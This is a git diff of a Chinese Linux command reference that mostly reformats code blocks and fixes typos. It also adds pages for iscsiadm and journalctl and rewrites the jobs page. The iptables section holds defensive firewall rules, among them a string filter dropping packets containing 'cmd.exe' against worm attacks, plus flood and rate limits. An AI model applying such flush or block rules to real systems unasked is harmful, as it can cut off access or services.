+-c, --client host # 如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
+-P, --parallel # # 服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
+```
+
+客户端专用选项
+
+```bash
+-b, --bandwidth #\[KM] # UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。
+-c, --client host # 运行Iperf的客户端模式,连接到指定的Iperf服务器端。
+-d, --dualtest # 运行双测试模式。这将使服务器端反向连接到客户端,
+ # 使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。
+ # 这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。
+-n, --num #\[KM] # 传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。
+ # -n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。
+-r, --tradeoff # 往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),
+ # 反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。
+-t, --time # # 设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。
+-L, --listenport # # 指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。
+-P, --parallel # # 线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。
+-S, --tos # # 出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,
+ # 或以"0"开始的8进制数或10进制数。 例如,16进制'0x10' = 8进制'020' = 十进制'16'。
+ # TOS值1349就是: IPTOS\_LOWDELAY minimize delay 0x10 IPTOS\_THROUGHPUT maximize
+ # throughput 0x08 IPTOS\_RELIABILITY maximize reliability 0x04 IPTOS\_LOWCOST minimize cost 0x02
+-T, --ttl # # 出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。
+-F (from v1.2 or higher) # 使用特定的数据流测量带宽,例如指定的文件。 $ iperf -c -F
+-I (from v1.2 or higher) # 与-F一样,由标准输入输出文件输入数据。
+```
+
+杂项
+
+```bash
+-h, --help # 显示命令行参考并退出 。
+-v, --version # 显示版本信息和编译信息并退出。
+```
+
+### 实例
带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。
@@ -343,25 +108,25 @@ $ iperf -c -F
服务器端:
-```
+```shell
iperf -u -s
```
客户端:
-```
+```shell
iperf -u -c 192.168.1.1 -b 100M -t 60
```
在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。
-```
+```shell
iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60
```
客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。
-```
+```shell
iperf -u -c 192.168.1.1 -b 100M -d -t 60
```
@@ -371,29 +136,28 @@ iperf -u -c 192.168.1.1 -b 100M -d -t 60
服务器端:
-```
+```shell
iperf -s
```
客户端:
-```
+```shell
iperf -c 192.168.1.1 -t 60
```
在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。
-```
+```shell
iperf -c 192.168.1.1 -P 30 -t 60
```
客户端同时向服务器端发起30个连接线程。
-```
+```shell
iperf -c 192.168.1.1 -d -t 60
```
进行上下行带宽测试。
-
\ No newline at end of file
diff --git a/command/iptables-restore.md b/command/iptables-restore.md
index 98caf128503..c29290f679f 100644
--- a/command/iptables-restore.md
+++ b/command/iptables-restore.md
@@ -1,32 +1,32 @@
iptables-restore
===
-
+
还原iptables表的配置
## 补充说明
**iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。
-### 语法
+### 语法
-```
-iptables-restor(选项)
+```shell
+iptables-restore(选项)
```
-### 选项
+### 选项
-```
+```shell
-c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值;
-t:指定要还原表的名称。
```
-### 实例
+### 实例
-```
-iptables-restor < iptables.bak
+```shell
+iptables-restore < iptables.bak
```
iptables.bak是iptables-save命令所备份的文件。
-
\ No newline at end of file
+
diff --git a/command/iptables-save.md b/command/iptables-save.md
index 6b680328bfd..b2b8fde9eca 100644
--- a/command/iptables-save.md
+++ b/command/iptables-save.md
@@ -1,28 +1,28 @@
iptables-save
===
-
+
备份iptables的表配置
## 补充说明
**iptables-save命令** 用于将linux内核中的iptables表导出到标准输出设备商,通常,使用shell中I/O重定向功能将其输出保存到指定文件中。
-### 语法
+### 语法
-```
+```shell
iptables-save(选项)
```
-### 选项
+### 选项
-```
+```shell
-c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值;
-t:指定要保存的表的名称。
```
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# iptables-save -t filter > iptables.bak
[root@localhost ~]# cat iptables.bak
# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
@@ -40,4 +40,3 @@ COMMIT
```
-
\ No newline at end of file
diff --git a/command/iptables.md b/command/iptables.md
index 1ca2aa2d1f9..13b461cbdf8 100644
--- a/command/iptables.md
+++ b/command/iptables.md
@@ -18,7 +18,7 @@ Linux上常用的防火墙软件
- [防火墙的策略](#防火墙的策略)
- [防火墙的策略](#防火墙的策略-1)
- [实例](#实例)
- - [空当前的所有规则和计数](#空当前的所有规则和计数)
+ - [清空当前的所有规则和计数](#清空当前的所有规则和计数)
- [配置允许ssh端口连接](#配置允许ssh端口连接)
- [允许本地回环地址可以正常使用](#允许本地回环地址可以正常使用)
- [设置默认的规则](#设置默认的规则)
@@ -42,13 +42,13 @@ Linux上常用的防火墙软件
### 语法
-```
+```shell
iptables(选项)(参数)
```
### 选项
-```bash
+```shell
-t, --table table 对指定的表 table 进行操作, table 必须是 raw, nat,filter,mangle 中的一个。如果不指定此选项,默认的是 filter 表。
# 通用匹配:源地址目标地址的匹配
@@ -72,7 +72,7 @@ iptables(选项)(参数)
-F, --flush [chain] 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。
-N, --new-chain chain 用指定的名字创建一个新的链。
-X, --delete-chain [chain] :删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。
--E, --rename-chain old-chain new-chain :用指定的新名字去重命名指定的链。这并不会对链内部照成任何影响。
+-E, --rename-chain old-chain new-chain :用指定的新名字去重命名指定的链。这并不会对链内部造成任何影响。
-Z, --zero [chain] :把指定链,或者表中的所有链上的所有计数器清零。
-j, --jump target <指定目标> :即满足某条件时该执行什么样的动作。target 可以是内置的目标,比如 ACCEPT,也可以是用户自定义的链。
@@ -99,7 +99,7 @@ iptables(选项)(参数)
#### 命令选项输入顺序
-```
+```shell
iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作
```
@@ -154,8 +154,9 @@ iptables还支持自己定义链。但是自己定义的链,必须是跟某种
- **DNAT** :目标地址转换。
- **MASQUERADE** :IP伪装(NAT),用于ADSL。
- **LOG** :日志记录。
+- **SEMARK** : 添加SEMARK标记以供网域内强制访问控制(MAC)
-```bash
+```shell
┏╍╍╍╍╍╍╍╍╍╍╍╍╍╍╍┓
┌───────────────┐ ┃ Network ┃
│ table: filter │ ┗━━━━━━━┳━━━━━━━┛
@@ -191,9 +192,9 @@ iptables还支持自己定义链。但是自己定义的链,必须是跟某种
### 实例
-#### 空当前的所有规则和计数
+#### 清空当前的所有规则和计数
-```bash
+```shell
iptables -F # 清空所有的防火墙规则
iptables -X # 删除用户自定义的空链
iptables -Z # 清空计数
@@ -201,14 +202,14 @@ iptables -Z # 清空计数
#### 配置允许ssh端口连接
-```bash
+```shell
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT
# 22为你的ssh端口, -s 192.168.1.0/24表示允许这个网段的机器来连接,其它网段的ip地址是登陆不了你的机器的。 -j ACCEPT表示接受这样的请求
```
#### 允许本地回环地址可以正常使用
-```bash
+```shell
iptables -A INPUT -i lo -j ACCEPT
#本地圆环地址就是那个127.0.0.1,是本机上使用的,它进与出都设置为允许
iptables -A OUTPUT -o lo -j ACCEPT
@@ -216,7 +217,7 @@ iptables -A OUTPUT -o lo -j ACCEPT
#### 设置默认的规则
-```bash
+```shell
iptables -P INPUT DROP # 配置默认的不让进
iptables -P FORWARD DROP # 默认的不允许转发
iptables -P OUTPUT ACCEPT # 默认的可以出去
@@ -224,7 +225,7 @@ iptables -P OUTPUT ACCEPT # 默认的可以出去
#### 配置白名单
-```bash
+```shell
iptables -A INPUT -p all -s 192.168.1.0/24 -j ACCEPT # 允许机房内网机器可以访问
iptables -A INPUT -p all -s 192.168.140.0/24 -j ACCEPT # 允许机房内网机器可以访问
iptables -A INPUT -p tcp -s 183.121.3.7 --dport 3380 -j ACCEPT # 允许183.121.3.7访问本机的3380端口
@@ -232,7 +233,7 @@ iptables -A INPUT -p tcp -s 183.121.3.7 --dport 3380 -j ACCEPT # 允许183.121.3
#### 开启相应的服务端口
-```bash
+```shell
iptables -A INPUT -p tcp --dport 80 -j ACCEPT # 开启80端口,因为web对外都是这个端口
iptables -A INPUT -p icmp --icmp-type 8 -j ACCEPT # 允许被ping
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 已经建立的连接得让它进来
@@ -240,7 +241,7 @@ iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 已经建立
#### 保存规则到配置文件中
-```bash
+```shell
cp /etc/sysconfig/iptables /etc/sysconfig/iptables.bak # 任何改动之前先备份,请保持这一优秀的习惯
iptables-save > /etc/sysconfig/iptables
cat /etc/sysconfig/iptables
@@ -254,7 +255,7 @@ cat /etc/sysconfig/iptables
- 五个规则链名 `INPUT`、`OUTPUT`、`FORWARD`、`PREROUTING`、`POSTROUTING`
- filter表包含`INPUT`、`OUTPUT`、`FORWARD`三个规则链
-```bash
+```shell
iptables -L -t nat # 列出 nat 上面的所有规则
# ^ -t 参数指定,必须是 raw, nat,filter,mangle 中的一个
iptables -L -t nat --line-numbers # 规则带编号
@@ -265,7 +266,7 @@ iptables -L -nv # 查看,这个列表看起来更详细
#### 清除已有规则
-```bash
+```shell
iptables -F INPUT # 清空指定链 INPUT 上面的所有规则
iptables -X INPUT # 删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。
# 如果没有指定链名,则会删除该表中所有非内置的链。
@@ -274,26 +275,26 @@ iptables -Z INPUT # 把指定链,或者表中的所有链上的所有计数
#### 删除已添加的规则
-```bash
+```shell
# 添加一条规则
iptables -A INPUT -s 192.168.1.5 -j DROP
```
将所有iptables以序号标记显示,执行:
-```
+```shell
iptables -L -n --line-numbers
```
比如要删除INPUT里序号为8的规则,执行:
-```bash
+```shell
iptables -D INPUT 8
```
#### 开放指定的端口
-```
+```shell
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT #允许本地回环接口(即运行本机访问本机)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT #允许已建立的或相关连的通行
iptables -A OUTPUT -j ACCEPT #允许所有本机向外的访问
@@ -307,7 +308,7 @@ iptables -A FORWARD -j REJECT #禁止其他未允许的规则访问
#### 屏蔽IP
-```
+```shell
iptables -A INPUT -p tcp -m tcp -s 192.168.0.8 -j DROP # 屏蔽恶意主机(比如,192.168.0.8
iptables -I INPUT -s 123.45.6.7 -j DROP #屏蔽单个IP的命令
iptables -I INPUT -s 123.0.0.0/8 -j DROP #封整个段即从123.0.0.1到123.255.255.254的命令
@@ -319,13 +320,13 @@ iptables -I INPUT -s 123.45.6.0/24 -j DROP #封IP段即从123.45.6.1到123.45
只对 OUTPUT,FORWARD,POSTROUTING 三个链起作用。
-```bash
+```shell
iptables -A FORWARD -o eth0
```
#### 查看已添加的规则
-```
+```shell
iptables -L -n -v
Chain INPUT (policy DROP 48106 packets, 2690K bytes)
pkts bytes target prot opt in out source destination
@@ -347,7 +348,7 @@ Chain OUTPUT (policy ACCEPT 3382K packets, 1819M bytes)
公网`210.14.67.7`让内网`192.168.188.0/24`上网
-```bash
+```shell
iptables -t nat -A POSTROUTING -s 192.168.188.0/24 -j SNAT --to-source 210.14.67.127
```
@@ -355,7 +356,7 @@ iptables -t nat -A POSTROUTING -s 192.168.188.0/24 -j SNAT --to-source 210.14.67
本机的 2222 端口映射到内网 虚拟机的22 端口
-```bash
+```shell
iptables -t nat -A PREROUTING -d 210.14.67.127 -p tcp --dport 2222 -j DNAT --to-dest 192.168.188.115:22
```
@@ -363,7 +364,7 @@ iptables -t nat -A PREROUTING -d 210.14.67.127 -p tcp --dport 2222 -j DNAT --to
比如,我们要过滤所有TCP连接中的字符串`test`,一旦出现它我们就终止这个连接,我们可以这么做:
-```bash
+```shell
iptables -A INPUT -p tcp -m string --algo kmp --string "test" -j REJECT --reject-with tcp-reset
iptables -L
@@ -380,16 +381,22 @@ iptables -L
#### 阻止Windows蠕虫的攻击
-```bash
+```shell
iptables -I INPUT -j DROP -p tcp -s 0.0.0.0/0 -m string --algo kmp --string "cmd.exe"
```
#### 防止SYN洪水攻击
-```bash
+```shell
iptables -A INPUT -p tcp --syn -m limit --limit 5/second -j ACCEPT
```
+#### 添加SECMARK记录
+```shell
+iptables -t mangle -A INPUT -p tcp --src 192.168.1.2 --dport 443 -j SECMARK --selctx system_u:object_r:myauth_packet_t
+# 向从 192.168.1.2:443 以TCP方式发出到本机的包添加MAC安全上下文 system_u:object_r:myauth_packet_t
+```
+
## 更多实例
> 用iptables搭建一套强大的安全防护盾 http://www.imooc.com/learn/389
@@ -463,7 +470,7 @@ nat 转发
防CC攻击
-```
+```shell
iptables -L -F -A -D # list flush append delete
# 场景一
iptables -I INPUT -p tcp --dport 80 -j ACCEPT # 允许 tcp 80 端口
@@ -512,4 +519,4 @@ iptables -I INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j
iptables -I INPUT -m limit --limit 3/hour --limit-burst 10 -j ACCEPT # limit模块; --limit-burst 默认为5
```
-
+
diff --git a/command/iptraf.md b/command/iptraf.md
index 0200f4e7929..c801ef9bffd 100644
--- a/command/iptraf.md
+++ b/command/iptraf.md
@@ -1,21 +1,21 @@
iptraf
===
-
+
实时地监视网卡流量
## 补充说明
**iptraf命令** 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。
-### 语法
+### 语法
-```
+```shell
iptraf(选项)
```
-### 选项
+### 选项
-```
+```shell
-i网络接口:立即在指定网络接口上开启IP流量监视;
-g:立即开始生成网络接口的概要状态信息;
-d网络接口:在指定网络接口上立即开始监视明细的网络流量信息;
@@ -29,4 +29,3 @@ iptraf(选项)
```
-
\ No newline at end of file
diff --git a/command/iptstate.md b/command/iptstate.md
index 598b2d57036..184e3e8f287 100644
--- a/command/iptstate.md
+++ b/command/iptstate.md
@@ -1,21 +1,21 @@
iptstate
===
-
+
显示iptables的工作状态
## 补充说明
**iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。
-### 语法
+### 语法
-```
+```shell
iptstate(选项)
```
-### 选项
+### 选项
-```
+```shell
-b:指定输出信息的排序规则;
-d:不动态地改变窗口大小;
-f:过滤本地回送信息;
@@ -28,4 +28,3 @@ iptstate(选项)
```
-
\ No newline at end of file
diff --git a/command/iscsiadm.md b/command/iscsiadm.md
new file mode 100644
index 00000000000..642674f8b8f
--- /dev/null
+++ b/command/iscsiadm.md
@@ -0,0 +1,98 @@
+iscsiadm
+===
+
+管理iSCSI连接
+
+## 补充说明
+
+**iscsiadm命令** 用于管理 iSCSI(Internet Small Computer System Interface)存储连接。iSCSI 是一种基于网络的存储协议,允许在计算机之间传输块级别的数据。iscsiadm 命令提供了与 iSCSI 存储设备进行连接、配置和管理的功能。
+```shell
+yum install iscsi-initiator-utils #安装iscsiadm
+/etc/iscsi/initiatorname.iscsi #iscsi启动器名称配置文件位置
+systemctl enable iscsi #设置服务开机启动
+systemctl enable iscsid
+systemctl restart iscsi #重启iscsi服务
+systemctl restart iscsid
+```
+
+## 语法
+
+```shell
+iscsiadm [选项] <命令> <参数>
+```
+
+## 选项
+
+```shell
+-m,--mode # <模式> 指定工作模式,如discovery(发现模式)、node(管理节点)、session(管理会话)、discoverydb、host、iface(管理 iSCSI 网络接口);
+-t,--type # 指定类型,如sendtargets (或st)、isns、fw,仅用于discovery模式;
+-T,--targetname # 指定目标名称,仅用于node模式;
+-p,--portal # 指定目标IP,不带端口默认使用3260,仅用于discovery、node模式;
+-l,--login # 登录一个iSCSI设备,仅用于discovery、node模式;
+-u,--logout # 退出一个iSCSI设备,仅用于node、session模式;
+-I,--interface # 指定用于iSCSI操作的网络接口;
+-P,--print # <0-4> 打印详细,用于discovery、node、session模式;
+-s,--stats # 查看会话状态
+-h,--help # 显示帮助;
+-V,--version # 显示版本信息。
+```
+
+## 实例
+
+发送iSCSI发现请求,并列出发现的iSCSI设备目标器:
+
+```shell
+[root@Azroy-s1 ~]# iscsiadm -m discovery -t st -p 10.10.10.10
+10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.default-target.1
+```
+
+登录到发现的iSCSI目标器:
+
+```shell
+[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -l
+Logging in to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] (multiple)
+Login to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] successful.
+```
+
+查看已登录的设备:
+
+```shell
+[root@Azroy-s1 ~]# iscsiadm -m session
+tcp: [3] 10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.target.1 (non-flash)
+```
+
+退出已登录的设备:
+
+```shell
+[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -u
+Logging out of session [sid: 11, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260]
+或
+[root@Azroy-s1 ~]# iscsiadm -m session -u #退出所有iscsi会话
+```
+
+使用lsblk或fdisk查看硬盘,对硬盘分区再格式化后可挂载目录
+
+```shell
+[root@Azroy-s1 ~]# lsblk
+NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
+sda 8:0 0 1.8T 0 disk
+├─sda1 8:1 0 1G 0 part /boot
+└─sda2 8:2 0 1.8T 0 part
+ ├─centos-root 253:0 0 1.8T 0 lvm /
+ └─centos-swap 253:1 0 5.9G 0 lvm [SWAP]
+sdb 8:32 0 10G 0 disk
+
+[root@Azroy-s1 ~]# lsblk -S /dev/sd* #可以查看硬盘传输类型
+NAME HCTL TYPE VENDOR MODEL REV TRAN
+sda 0:1:0:0 disk HP LOGICAL VOLUME 3.00 sas
+sdb 12:0:0:1 disk SYNOLOGY Storage 4.0 iscsi
+
+[root@Azroy-s1 ~]# fdisk -l /dev/sdb
+磁盘 /dev/sdb:10.7 GB, 10737418240 字节,20971520 个扇区
+Units = 扇区 of 1 * 512 = 512 bytes
+扇区大小(逻辑/物理):512 字节 / 512 字节
+I/O 大小(最小/最佳):512 字节 / 512 字节
+```
+
+
+
diff --git a/command/ispell.md b/command/ispell.md
index eb40f6d27df..7db3f01a133 100644
--- a/command/ispell.md
+++ b/command/ispell.md
@@ -1,21 +1,20 @@
ispell
===
-
+
检查文件中出现的拼写错误
## 补充说明
**ispell命令** 用于检查文件中出现的拼写错误。
-### 语法
+### 语法
-```
+```shell
ispell(参数)
```
-### 参数
+### 参数
文件:指定要进行拼写检查的文件。
-
\ No newline at end of file
diff --git a/command/jed.md b/command/jed.md
index c543bf181e0..47983ff6e5b 100644
--- a/command/jed.md
+++ b/command/jed.md
@@ -1,21 +1,21 @@
jed
===
-
+
主要用于编辑代码的编辑器
## 补充说明
**jed命令** 是由Slang所开发,其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示,可以模拟emacs,EDT,wordstar和Brief编辑器。
-### 语法
+### 语法
-```
+```shell
jed(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-2:显示上下两个编辑区;
-batch:以批处理模式来执行;
-f<函数>:执行Slang函数;
@@ -25,15 +25,15 @@ jed(选项)(参数)
-s<字符串>:查找并移到指定的字符串。
```
-### 参数
+### 参数
文件:指定待编辑的文件列表。
-### 实例
+### 实例
以上下两个编辑区的方式,开启 mysource.c 原始代码文件。若要切换编辑区,可利用稍后介绍的命令,开启操作命令,开启功能表后,按 3 ,再按 2 ,即可切换编辑区:
-```
+```shell
jed -2 mysource.c
```
@@ -41,7 +41,7 @@ jed -2 mysource.c
有些Emacs的组合键和jed菜单组合键冲突例如Alt+f在Emacs中应该是“前进一个单词”,而在jed中则是“文件菜单” 想使用Emacs风格的组合键的话,编辑`/usr/share/jed/lib/menus.slc`找到如下段落:
-```
+```shell
unsetsetkey ("selectmenubar", "\em");
unsetsetkey ("@\emF", "\ef");
unsetsetkey ("@\emE", "\ee");
@@ -59,7 +59,7 @@ unset_setkey ("@\emy", "\ey");
**文件**
-```
+```shell
/usr/share/jed/lib/*.sl 这是默认的运行jed slang的文件。
/usr/share/jed/lib/site.sl 这是默认的启动文件。
/etc/jed.rc 这是全局系统配置文件。
@@ -67,4 +67,3 @@ unset_setkey ("@\emy", "\ey");
```
-
\ No newline at end of file
diff --git a/command/jobs.md b/command/jobs.md
index 8abd008bba7..5ffbb6e7406 100644
--- a/command/jobs.md
+++ b/command/jobs.md
@@ -1,51 +1,79 @@
jobs
===
-
-显示Linux中的任务列表及任务状态
-## 补充说明
+显示作业的状态。
-**jobs命令** 用于显示Linux中的任务列表及任务状态,包括后台运行的任务。该命令可以显示任务号及其对应的进程号。其中,任务号是以普通用户的角度进行的,而进程号则是从系统管理员的角度来看的。一个任务可以对应于一个或者多个进程号。
+## 概要
-在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。
+```shell
+jobs [-lnprs] [jobspec ...]
+jobs -x command [args]
+```
-### 语法
+## 主要用途
-```
-jobs(选项)(参数)
-```
+- 显示作业的状态。
+- 列出活动的作业。
+- 列出停止的作业。
-### 选项
+## 选项
-```
--l:显示进程号;
--p:仅任务对应的显示进程号;
--n:显示任务状态的变化;
--r:仅输出运行状态(running)的任务;
--s:仅输出停止状态(stoped)的任务。
+```shell
+-l 在作业信息中额外的列出PID。
+-n 只列出最近一次通知以来状态变更的作业。
+-p 只列出PID。
+-r 只输出处于运行状态的作业。
+-s 只输出处于停止状态的作业。
```
-### 参数
+## 返回值
-任务标识号:指定要显示的任务识别号。
+返回状态为成功除非给出了非法选项、执行出现错误。
-### 实例
+如果使用`jobs -x command [args]`形式执行,那么返回值为`command`的退出状态。
-使用jobs命令显示当前系统的任务列表,输入如下命令:
+## 例子
-```
-jobs -l #显示当前系统的任务列表
-```
+```shell
+[user2@pc] ssh 192.168.1.4
+pc@192.168.1.4's password:
+# 此时按下ctrl+z使得交互停止。
+[1]+ Stopped ssh 192.168.1.4
-上面的命令执行后,将显示出当前系统下的任务列表信息,具体如下所示:
+[user2@pc] sleep 60 &
+[2] 13338
-```
-[1] + 1903 运行中 find / -name password &
+[user2@pc] jobs
+[1]- Stopped ssh 192.168.1.4
+[2] Running sleep 60 &
+
+[user2@pc] jobs -l
+[1]- 12927 Stopped ssh 192.168.1.4
+[2] 13338 Running sleep 60 &
+
+[user2@pc] jobs -p
+12927
+13338
+
+[user2@pc] jobs -s
+[1]- Stopped ssh 192.168.1.4
+
+[user2@pc] jobs -r
+[2] Running sleep 60 &
+
+[user2@pc] kill -9 12927
+[2] Done sleep 60
+
+[user2@pc] jobs -n -l
+[1]+ 12927 Killed ssh 192.168.1.4
+
+[user2@pc] jobs -n -l
```
-注意:要得到以上输出信息,必须在执行jobs命令之前执行命令`find / -name password &`。否则,执行jobs命令不会显示任何信息。
+### 注意
-其中,输出信息的第一列表示任务编号,第二列表示任务所对应的进程号,第三列表示任务的运行状态,第四列表示启动任务的命令。
+1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。
+2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。
+3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
-
\ No newline at end of file
diff --git a/command/joe.md b/command/joe.md
index 0e2ce32b6e8..6c78be9ef81 100644
--- a/command/joe.md
+++ b/command/joe.md
@@ -1,21 +1,21 @@
joe
===
-
+
强大的纯文本编辑器
## 补充说明
**joe命令** 是一款功能强大的纯文本编辑器,拥有众多编写程序和文本的优良特性。
-### 语法
+### 语法
-```
+```shell
joe(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-force:强制在最后一行的结尾处加上换行符号;
-lines<行数>:设置行数;
-lightoff:选取的区块在执行完区块命令后,就会恢复成原来的状态;
@@ -40,9 +40,8 @@ joe(选项)(参数)
-skiptop<行数>:不使用屏幕上方指定的行数。
```
-### 参数
+### 参数
文件:指定要编辑的文件。
-
\ No newline at end of file
diff --git a/command/join.md b/command/join.md
index 70ceecb2bf9..50fdccdadd4 100644
--- a/command/join.md
+++ b/command/join.md
@@ -1,21 +1,21 @@
join
===
-
+
两个文件中指定栏位内容相同的行连接起来
## 补充说明
**join命令** 用来将两个文件中,制定栏位内容相同的行连接起来。找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。
-### 语法
+### 语法
-```
+```shell
join(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a<1或2>:除了显示原来的输出内容之外,还显示指令文件中没有相同栏位的行;
-e<字符串>:若[文件1]与[文件2]中找不到指定的栏位,则在输出中填入选项中的字符串;
-i或--ignore-case:比较栏位内容时,忽略大小写的差异;
@@ -26,10 +26,38 @@ join(选项)(参数)
-2<栏位>:连接[文件2]指定的栏位。
```
-### 参数
+### 参数
* 文件1:要进行合并操作的第1个文件参数;
* 文件2:要进行合并操作的第2个文件参数。
+### 常见用法
+
+把两个文件制定栏位内容相同的行连接起来:
+
+```shell
+[root@localhost ~]# cat name
+1 xiaoming
+2 xiaowang
+3 xiaoliu
+[root@localhost ~]# cat city
+1 beijing beijing
+2 hubei wuhan
+3 hunan changsha
+
+# city文件在后,则拼接在后,如果city文件在前,则name文件拼接在后。
+[root@localhost ~]# join name city
+1 xiaoming beijing beijing
+2 xiaowang hubei wuhan
+3 xiaoliu hunan changsha
+```
+
+把两个文件指定列拼接起来:
-
\ No newline at end of file
+```shell
+# 把name文件的第2列和city文件的第3列拼接起来
+[root@localhost ~]# join -o 1.2 2.3 name city
+xiaoming beijing
+xiaowang wuhan
+xiaoliu changsha
+```
diff --git a/command/journalctl.md b/command/journalctl.md
new file mode 100644
index 00000000000..e87fcb51040
--- /dev/null
+++ b/command/journalctl.md
@@ -0,0 +1,155 @@
+journalctl
+===
+
+检索 systemd 日志,是 CentOS 7 才有的工具。
+
+### 语法
+
+```shell
+journalctl [OPTIONS...] [MATCHES...]
+```
+
+### 选项
+
+```shell
+Flags:
+ --system # 显示系统日志
+ --user # 显示当前用户的用户日志
+-M --machine=CONTAINER # 在本地容器上操作
+-S --since=DATE # 显示不早于指定日期的条目
+-U --until=DATE # 显示不晚于指定日期的条目
+-c --cursor=CURSOR # 显示从指定光标开始的条目
+ --after-cursor=CURSOR # 在指定光标后显示条目
+ --show-cursor # 在所有条目之后打印光标
+-b --boot[=ID] # 显示当前启动或指定启动
+ --list-boots # 显示有关已记录引导的简洁信息
+-k --dmesg # 显示当前启动的内核消息日志
+-u --unit=UNIT # 显示指定单元的日志
+-t --identifier=STRING # 显示具有指定系统日志标识符的条目
+-p --priority=RANGE # 显示具有指定优先级的条目
+-e --pager-end # 在pager中立即跳转到末尾
+-f --follow # 关注期刊
+-n --lines[=INTEGER] # 要显示的日志条目数
+ --no-tail # 显示所有行,即使在跟随模式下
+-r --reverse # 首先显示最新的条目
+-o --output=STRING # 更改日志输出模式 (short, short-iso,
+ short-precise, short-monotonic, verbose,
+ export, json, json-pretty, json-sse, cat)
+--utc # 以协调世界时 (UTC) 表示的时间
+-x --catalog # 在可用的情况下添加消息说明
+ --no-full # Ellipsize 字段
+-a --all # 显示所有字段,包括长的和不可打印的
+-q --quiet # 不显示特权警告
+ --no-pager # 不要将输出通过管道传输到寻呼机
+-m --merge # 显示所有可用期刊的条目
+-D --directory=PATH # 显示目录中的日志文件
+ --file=PATH # 显示日志文件
+ --root=ROOT # 对根目录下的目录文件进行操作
+ --interval=TIME # 更改 FSS 密封键的时间间隔
+ --verify-key=KEY # 指定FSS验证密钥
+ --force # 使用 --setup-keys 覆盖 FSS 密钥对
+
+Commands:
+-h --help # 显示此帮助文本
+ --version # 显示包版本
+-F --field=FIELD # 列出指定字段的所有值
+ --new-id128 # 生成新的 128 位 ID
+ --disk-usage # 显示所有日志文件的总磁盘使用情况
+ --vacuum-size=BYTES # 将磁盘使用量减少到指定大小以下
+ --vacuum-time=TIME # 删除早于指定日期的日志文件
+ --flush # 将所有日志数据从 /run 刷新到 /var
+ --header # 显示期刊头信息
+ --list-catalog # 显示目录中的所有消息 ID
+ --dump-catalog # 在消息目录中显示条目
+ --update-catalog # 更新消息目录数据库
